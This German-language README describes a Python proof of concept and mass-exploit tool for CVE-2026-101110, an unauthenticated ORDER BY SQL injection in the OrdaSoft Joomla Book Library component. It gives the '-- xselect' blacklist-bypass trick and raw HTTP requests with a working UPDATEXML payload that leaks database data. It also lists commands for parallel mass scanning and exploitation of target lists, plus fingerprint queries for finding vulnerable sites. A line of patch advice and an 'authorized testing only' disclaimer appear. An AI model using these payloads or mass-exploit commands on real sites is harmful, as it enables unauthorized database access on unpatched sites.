
Python-3-PoC und Massen-Exploit für CVE-2026-101110, eine unauthentifizierte ORDER-BY-SQL-Injection in OrdaSoft Joomla Book Library <=6.4.6 über die Parameter field/direction.
Python-3-PoC für CVE-2026-101110 — OrdaSoft Book Library (Free) für Joomla ≤ 6.4.6. Upgrade auf 6.4.7+.
| PoCbit | https://pocbit.org/pocs/cve-2026-101110 |
| Katalog | https://pocbit.org/pocs/ |
| Komponente | com_booklibrary |
| Datei / Funktion | site/booklibrary.php → books() |
| Parameter | field, direction (Sortierung) |
| Auth | Keine (öffentliche Buchlisten) |
| CWE | CWE-89 SQL Injection |
| CVSS 4.0 | 9.3 Kritisch (Joomla CNA) |
| Credit | Ala Arfaoui |
Book Library (Free) ist ein OrdaSoft-Plugin, das Buchbibliotheks- / Kategorielisten in Joomla bereitstellt. In den Versionen 6.4.6 und früher filtert die Funktion books() die Parameter field und direction mit protectInjectionWithoutQuote(). Diese Funktion implementiert lediglich eine schwache Blacklist, die nach der Teilzeichenkette select sucht; wird sie gefunden, wird der Wert mit $db->quote() umschlossen, aber nicht abgelehnt.
Die Werte werden anschließend in einen unquotierten ORDER BY-Ausdruck eingefügt — die Verwendung von Quotes an dieser Stelle verhindert keine SQL-Injection (CNA-Beschreibung).
Für die Ausnutzung sind zwei Bedingungen erforderlich:
field / direction). -- xselect angehängt; dieser passiert die Blacklist-Prüfung, und der SQL-Kommentar neutralisiert den Rest der Payload.Ergebnis: ORDER BY SQLi ohne Authentifizierung, kritisches Risiko für Datenbank-Lese-/Schreibzugriff und Site-Integrität.
Request 1 (prime): ...&field=title&direction=ASC → session sort defaults
Request 2 (inject): ...&field=<expr> -- xselect&direction=ASC
└─ concatenated into ORDER BY (unquoted)
Schwacher Filter (konzeptionell):
select (Teilzeichenkette) → gesamten Wert in Quotes einschließen (irrelevant im ORDER BY-Kontext).-- xselect hinzu, sodass die Blacklist select innerhalb des Kommentar-Endes sieht, während der aktive Ausdruck vor -- weiterhin ausführbares SQL bleibt (error-based / UPDATEXML / gestapelte ORDER BY-Tricks).PoC implementiert:
| Schritt | Aktion |
|---|---|
| Fingerprint | com_booklibrary-Pfade + optionale Manifest-Version |
| Route Discovery | showCategory, search, showBooks, books, … + gescrapte catid / Itemid |
| check | Session primen → SQLi bestätigen (Flag / VERSION()) |
| exploit | Prime → --subquery-Extraktion (Standard SELECT VERSION()) |
| mass | --list + -j parallele Ziele; exploited.txt bei erfolgreichem Leak |
Payload-Suffix-Konstante im Code: -- xselect (BLACKLIST_DECOY).
cd CVE-2026-101110
pip install -r requirements.txt
python poc.py -u https://target.example --mode check
python poc.py -u https://target.example --mode check --aggressive
python poc.py -u https://target.example --mode exploit
python poc.py -u https://target.example --mode exploit --subquery "SELECT user()"
python poc.py --list targets.example.txt --mode check -j 40 --vuln-list hits.txt
python poc.py --list hits.txt --mode exploit -j 12 --subquery "SELECT VERSION()" --exploited-list exploited.txt
| Flag | Bedeutung |
|---|---|
--aggressive | Check-Modus versucht Versions-Leak nach dem Prime |
--subquery | Innerer Ausdruck für UPDATEXML / Double-Query-Payloads |
--exploited-list | Tab-getrennte erfolgreiche Extraktionen |
--no-color | ANSI deaktivieren (auch NO_COLOR) |
JSONL: pocbit, pocbit_catalog, pocbit_page, cve, component, session_primed.
Prime (Session):
GET /index.php?option=com_booklibrary&task=showCategory&catid=1&field=title&direction=ASC HTTP/1.1
Inject (PoC hängt Decoy an):
GET /index.php?option=com_booklibrary&task=showCategory&catid=1&field=UPDATEXML(1,CONCAT(0x7e,(VERSION()),0x7e),1) -- xselect&direction=ASC HTTP/1.1
POST-Varianten werden auf derselben Route versucht, wenn GET fehlschlägt.
Manifest (falls exponiert):
/administrator/components/com_booklibrary/booklibrary.xml≤ 6.4.6 → anfällige Zeile; ≥ 6.4.7 → gepatcht (patched_version in der Check-Ausgabe).
body="option=com_booklibrary"
body="/components/com_booklibrary/" && body="Joomla"
body="com_booklibrary" && (body="booklibrary" || body="Book Library")
body="ordasoft" && body="booklibrary"
| CVE | Erweiterung | Problem | Behoben |
|---|---|---|---|
| CVE-2026-101110 | Book Library | ORDER BY SQLi + Blacklist-Bypass | 6.4.7 |
| CVE-2026-101111 | Book Library | Reflected XSS (title-Parameter) | 6.4.7 |
| CVE-2026-101108 | Vehicle Manager | ORDER BY SQLi | 6.5.8 |
| CVE-2026-100752 | Real Estate Manager | ORDER BY SQLi | 6.7.9 |
Patchen Sie alle OrdaSoft-Komponenten, die Sie einsetzen.
com_booklibrary SQLi in Such-/Lend-Tasks (CVE-2010-1522) — andere CodepfadeNur autorisiertes Testen und Patch-Validierung.
CVE-2026-101110 PoC: OrdaSoft Joomla Book Library (Free) <=6.4.6 unauth SQLi — field/direction ORDER BY, session prime + `-- xselect` blacklist bypass (com_booklibrary). Colored check + mass exploit, CVSS 9.3. https://pocbit.org/pocs/cve-2026-101110